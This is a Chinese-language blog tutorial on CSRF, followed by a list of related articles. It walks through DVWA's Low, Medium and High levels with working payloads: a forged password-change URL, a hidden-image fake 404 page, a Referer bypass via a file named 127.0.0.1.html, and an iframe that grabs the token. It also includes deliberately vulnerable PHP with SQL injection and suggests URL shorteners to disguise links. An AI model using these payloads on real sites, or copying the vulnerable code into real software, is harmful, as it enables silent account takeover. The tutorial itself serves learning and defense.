CSRF漏洞原理浅谈

By : Mirror王宇阳

E-mail : mirrorwangyuyang@gmail.com

笔者并未深挖过CSRF,内容居多是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章

CSRF跨站请求攻击,和XSS有相似之处;攻击者利用CSRF可以盗用用户的身份进行攻击

CSRF攻击原理

部分摘自《Web安全深度剖析》第十章

当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用具有的网站权限对网站进行操作(如:发表文章、发送邮件、删除文章等)。会话借宿后,在进行权限操作,网站就会告知会话超期或重新登录。

当登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认定为可信的行为,例如转账、汇款等操作。当这个会话认证的时间过长或者自主结束断开;必须重新建立经过认证的可信安全的会话。

CSRF攻击是建立在会话之上。比如:登录了网上银行,正在进行转账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的Payload,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!

比如想给用户xxser转账1000元,正常的URL是:

secbug.org/pay.jsp?user=xxser&money=1000

而攻击者构造的URL则是:

secbug.org/pay.jsp?user=hack&money=10000

CSRF漏洞利用

CSRF漏洞常常被用来制作蠕虫攻击、SEO流量等

分析漏洞代码

  • 获取GET参数username和password,然后通过select语句查询是否存在对应的用户,如果存在通过$_SESSION设置一个session:isadmin=admin ,否则设置session:isadmin=guest
  • 判断session中的isadmin是否为admin,如果isadmin!=admin说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才可以执行用户的操作
  • 获取POST参数username和password然后插入users表中,完成添加用户的操作
<?php

	session_start();
if (isset($_GET['login'])) {
$con=mysqli_connect("127.0.0.1","root","123456","test");
if (mysql_connect_errno()) {
echo "连接失败".mysql_connect_errno();
}
$username = addslashes($_GET['username']);
$password = $_GET['password'];
$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['isadmin'] = 'admin';
exit("登录成功");
} else{
$_SESSION['isadmin'] = 'guest';
exit("登录失败");
}
} else{
$_SESSION['isadmin'] = 'guest';
}
if($_SESSION['isadmin'] != 'admin'){
exit("请登录……");
}
if(isset($_POST['submit'])){
if (isset($_POST['username'])) {
$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
exit($_POST['username']."添加成功");
}
}
?>

这是后台php源码

攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit=1&username=1&password=1,请求payload会自动的利用源码的特性添加一个用户

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF漏洞实践</title>
</head>
<body>
<script type="text/javascript">
var pauses = new Array("16");
var methods = new Array("POST");
var urls = new Array("isadmin.php");
var params = new Array("submit=1&username=1&password=1");
function pausecomp(millis){
var date = new Date();
var curDate = null ;
do{
curDate = new Date();
}while(curDate-date<millis);
}
function run(){
var count = 1 ;
var i = 0 ;
for( i=0 ; i < count ; i ++){
makeXHR(methods[i],urls[i],params[i]);
pausecomp(pausecomp[i]); }
}
var http_request = false ;
function makeXHR(method , url , paramters){
http_request = false ;
if(window.XMLHttpRequest){
http_request = new XMLHttpRequest() ;
if(http_request.overrideMinmeType){
http_request.overrideMinmeType('text/html');
}
} else if(window.ActiveXObject){
try{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e){
try{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e){ }
}
}
if(!http_request){
alert('Cannot create XMLHTTP instance');
return false;
}
if(method == 'GET'){
if(url.indexOf('?') == -1){
url = url + '?' + paramters;
} else{
url = url + '&' + paramters; }
http_request.open(method,url,true);
http_request.send(""); } else if(method == 'POST'){
http_request.open(method,url,true);
http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
http_request.setRequestHeader("Content-length",paramters.length);
http_request.setRequestHeader("Connection","close");
http_request.send(paramters);
}
}
</script>
</body>
</html>

DVWA平台CSRF

笔者找不到比较好的源码,于是找到了DVWA~~

Low

  • 前端源码

    <h3>Change your admin password:</h3>
    <br>
    <form action="#" method="GET">
    New password:<br>
    <input autocomplete="off" name="password_new" type="password"><br>
    Confirm new password:<br>
    <input autocomplete="off" name="password_conf" type="password"><br>
    <br>
    <input value="Change" name="Change" type="submit">
    </form>

    前端的源码非常的简单,是一个修改密码的CSRF,表单采用GET方式Change提交

  • 后端源码

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
    if( $pass_new == $pass_conf ) {
    // They do!
    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new = md5( $pass_new ); // Update the database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
    echo "<pre>Password Changed.</pre>";
    }
    else {
    // Issue with passwords matching
    echo "<pre>Passwords did not match.</pre>";
    } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    } ?>

    可以看见后端接收数据后会验证两次密码是否重复,然后修改密码~~~

  • 构造Payload

    http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

    我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,受害者一旦点击这个URL链接,就意味着受害者执行了同样的操作;这个过程就是CSRF

    笔者处于的DVWA使用的登录密码,而我的密码就被改为“123456”

  • 重点

    这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器点击Payload-URL,受害者的密码就会发生更改。

    哦!对了!这么裸露的攻击Payload在2019年安全意识高端的现代,是不会有人点击的!这个时候我们就有好玩的一个工具叫:“短链接”,百度新浪的短网址服务都可以!

    为了减少图片内容,我们当密码修改后的页面会提示“Password Changed.”

  • 高明的做法(从一位前辈copy过来的,忘记链接了!)

    都知道会出现提示,要想悄悄的修改!可以建立一个攻击网页,诱骗受害者访问

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Payload</title>
    </head>
    <body>
    <img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
    <h1>404</h1>
    <h2>file not found.</h2>
    </body>
    </html>

    页面的作用是加载一个伪404的页面;实际上一旦访问这个页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了Payload 你说好不好玩!加载一个404伪页面,就把自己的密码给该了,而且自己还不知道!

Medium

  • 后端源码( 添加了http_referer头的校验 )

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
    // HTTP_REFERER :查询当前页的前一页的地址信息
    // SERVER_NAME :获取域名
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
    // stripos() :查字符第一次出现的位置,
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
    if( $pass_new == $pass_conf ) {
    // They do!
    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new = md5( $pass_new ); // Update the database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
    echo "<pre>Password Changed.</pre>";
    }
    else {
    // Issue with passwords matching
    echo "<pre>Passwords did not match.</pre>";
    }
    }
    else {
    // Didn't come from a trusted source
    echo "<pre>That request didn't look correct.</pre>";
    } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    } ?>

    检查HTTP_REFERER(http数据包的referer参数值)即上一级URL地址信息是否包含当前HTTP数据包中的Host参数值;包含则表示当前页面是从DVWA即上一级URL合法的行为。

    合法的http数据包:

    GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
    Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
    X-Forwarded-For: 8.8.8.8
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1

    留意第2行、第8行

  • 分析绕过

    但是stripos()函数写的头验证是可以绕过的~ stripos()函数是多次匹配; 只要包含了目标主机地址就可以绕过stripos()函数写的验证语句

    如果我们依旧按照建立一个伪造的攻击页面,stripos()头验证就会验证,然而页面并不是来自DVWA;于是深挖stripos()函数的漏洞,发现函数会多次匹配,于是思路就是建立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证

  • Payload

    GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://127.0.0.1/127.0.0.1.html
    Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
    X-Forwarded-For: 8.8.8.8
    Connection: keep-alive

    这里注意!我们将Payload命名为“127.0.0.1.html”,

High

  • 后端源码

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
    // 加入 Anti-CSRF token机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
    if( $pass_new == $pass_conf ) {
    // They do!
    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new = md5( $pass_new ); // Update the database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
    echo "<pre>Password Changed.</pre>";
    }
    else {
    // Issue with passwords matching
    echo "<pre>Passwords did not match.</pre>";
    } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    } // Generate Anti-CSRF token
    generateSessionToken(); ?>

    加入 Anti-CSRF Token机制,用户访问改密页面时,服务器返回token,只有用户提交token参数才可以进行改密行为!

  • 分析绕过

    我们构造Payload页面的时候,就需要考虑到执行改密行为必须向服务器发送token,而token只有在改密页面才可以获得;

    根据前辈的思路:利用受害者的cookie去改密页面获取token

    <script type="text/javascript">
    
        function attack()
    
      {
    
       document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    
      document.getElementById("transfer").submit(); 
    
      }
    
    </script>
    
    <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
    
    </iframe>
    
    <body οnlοad="attack()">
    
      <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
    
       <input type="hidden" name="password_new" value="password">
    
        <input type="hidden" name="password_conf" value="password">
    
       <input type="hidden" name="user_token" value="">
    
      <input type="hidden" name="Change" value="Change">
    
       </form>
    
    </body>

    攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

    然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

    由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)

    这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

    原文链接:https://blog.csdn.net/liweibin812/article/details/86468880

笔者通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施,也由于笔者没有就这方面进行研究,没有办法进一步深度的解剖原理

CSRF应对措施

  • 从DVWA的测试中总结:

    在Impossible级别的源码中,利用了PDO技术防御SQL注入,防护CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的哦!笔者从网络中搜集了几篇文章,笔者对这些文章就不做剖解了直接copy地址

    PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html

CSRF防御手段

  • 使用POST,限制GET

    GET方式最容易受到CSRF攻击,只要简单的构造payload就可能导致CSRF;使用POST可以大程度的减低CSRF曝光率

  • 浏览器Cookie策略

    老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;

  • 添加验证码

    简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭

  • Referer Check

    检查请求是否来自于合法的

  • Anti CSRF Token

    Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

  • 总结:

    CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。

CSRF漏洞原理浅谈的更多相关文章

  1. Java线上问题排查神器Arthas快速上手与原理浅谈

    前言 当你兴冲冲地开始运行自己的Java项目时,你是否遇到过如下问题: 程序在稳定运行了,可是实现的功能点了没反应. 为了修复Bug而上线的新版本,上线后发现Bug依然在,却想不通哪里有问题? 想到可 ...

  2. CSRF漏洞原理

    跨站脚本伪造 用户与服务器端已进行了身份认证,站点已经对用户生成的session,完全信任了,然后此时黑客通过社工发过来一个不友好的链接, 让用户点击请求此站点,站点完全信任这个请求,按照黑客的这个请 ...

  3. CSRF 漏洞原理详解及防御方法

    跨站请求伪造:攻击者可以劫持其他用户进行的一些请求,利用用户身份进行恶意操作. 例如:请求http://x.com/del.php?id=1 是一个删除ID为1的账号,但是只有管理员才可以操作,如果攻 ...

  4. CSRF漏洞原理说明与利用方法

    翻译者:Fireweed 原文链接:http://seclab.stanford.edu/websec/ 一 .什么是CSRF Cross-Site Request Forgery(CSRF),中文一 ...

  5. 如何把Java代码玩出花?JVM Sandbox入门教程与原理浅谈

    在日常业务代码开发中,我们经常接触到AOP,比如熟知的Spring AOP.我们用它来做业务切面,比如登录校验,日志记录,性能监控,全局过滤器等.但Spring AOP有一个局限性,并不是所有的类都托 ...

  6. CAS+SSO原理浅谈

    http://www.cnblogs.com/yonsin/archive/2009/08/29/1556423.htmlSSO 是一个非常大的主题,我对这个主题有着深深的感受,自从广州 UserGr ...

  7. JAVA CAS原理浅谈

    java.util.concurrent包完全建立在CAS之上的,没有CAS就不会有此包.可见CAS的重要性. CAS CAS:Compare and Swap, 翻译成比较并交换. java.uti ...

  8. php模板原理PHP模板引擎smarty模板原理浅谈

    mvc是开发中的一个伟大的思想,使得开发代码有了更加清晰的层次,让代码分为了三层各施其职.无论是对代码的编写以及后期的阅读和维护,都提供了很大的便利. 我们在php开发中,视图层view是不允许有ph ...

  9. PHP的模板引擎smarty原理浅谈

    mvc是开发中的一个伟大的思想,使得开发代码有了更加清晰的层次,让代码分为了三层各施其职.无论是对代码的编写以及后期的阅读和维护,都提供了很大的便利. 我们在php开发中,视图层view是不允许有ph ...

随机推荐

  1. 【CKB.DEV 茶话会】第二期:聊聊 CKB 钱包和 Nervos DAO 全流程

    CKB.DEV 茶话会第二期:聊聊 CKB 钱包和 Nervos DAO 全流程 为了鼓励更多优秀的开发者和研究人员参与到 CKB 的开发和生态建设中去,我们希望组织一系列 CKB Developer ...

  2. Object.defineProperty和Object.freeze、Object.seal

    目录 一 Object.defineProperty 1.1 用法 1.2 数据描述 1.2.1 value 1.2.2 writable 1.2.3 enumerable 1.2.4 configu ...

  3. 3D硬件加速提升动画性能 与 z-index属性

    目录 1. chrome Layer borders 2. 层创建标准 3. 例子 总结 1. chrome Layer borders <WebKit技术内幕>第二章介绍了网页的结构,其 ...

  4. [TimLinux] TCL 自定义包

    1. 包 很多功能存放在一起,定义为一个包,在iTcl(Incr TCL)之后,可以定义一个类,类可以放在一个包里面,包为一个独立的文件,可以为TCL文件,也可以为C/C++语言实现的动态库. 2. ...

  5. webpack4.0(三)--动态生成html

    webpack4.0--动态生成html 前言: webpack-dev-server实现了自动编译刷新浏览器,让编译出来的bundle.js托关于服务器根路径(电脑内存)中去.使用--content ...

  6. 这些C++常用内置函数你会几个??

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:Regina520  新手注意:如果你C++学的不好,可以去拿我的C+ ...

  7. 【朝花夕拾】Android多线程之(三)runOnUiThread篇——程序猿们的贴心小棉袄

    runOnUiThread()的使用以及原理实在是太简单了,简单到笔者开始都懒得单独开一篇文章来写它.当然这里说的简单,是针对对Handler比较熟悉的童鞋而言的.不过麻雀虽小,五脏俱全,runOnU ...

  8. Django基础day01

    后端(******) 软件开发结构c/s http协议的由来 sql语句的由来 统一接口统一规范 HTTP协议 1.四大特性 1.基于TCP/IP作用于应用层之上的协议 2.基于请求响应 3.无状态 ...

  9. JS正则表达式语法(含ES6)(表格简要总结)

    文章目录 JS正则表达式 1. JS中正则表达式定义 2. 直接量字符 3. 字符类 4. 重复字符 5. 选择,分组和引用 6. 指定匹配位置 7. 修饰符 8. String 方法 9. RegE ...

  10. 我的chrome 智能扩展插件copier开源了!!!

    整理了下之前写的chrome-extensions-copier,分享给大家. 这个插件呢,主要用来在chrome浏览器上复制某些网站的某些特定内容,主要是用来复制代码,提高效率!(没办法,某些网站不 ...